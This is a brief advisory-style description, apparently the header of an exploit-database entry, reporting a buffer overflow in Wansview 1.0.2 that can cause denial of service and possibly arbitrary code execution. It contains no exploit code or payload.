Wansview 1.0.2 – Denial of Service (PoC)

A buffer overflow vulnerability exists in Wansview 1.0.2 which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to a boundary error when handling specially crafted input.

Successful exploitation of this vulnerability may allow execution of arbitrary code.
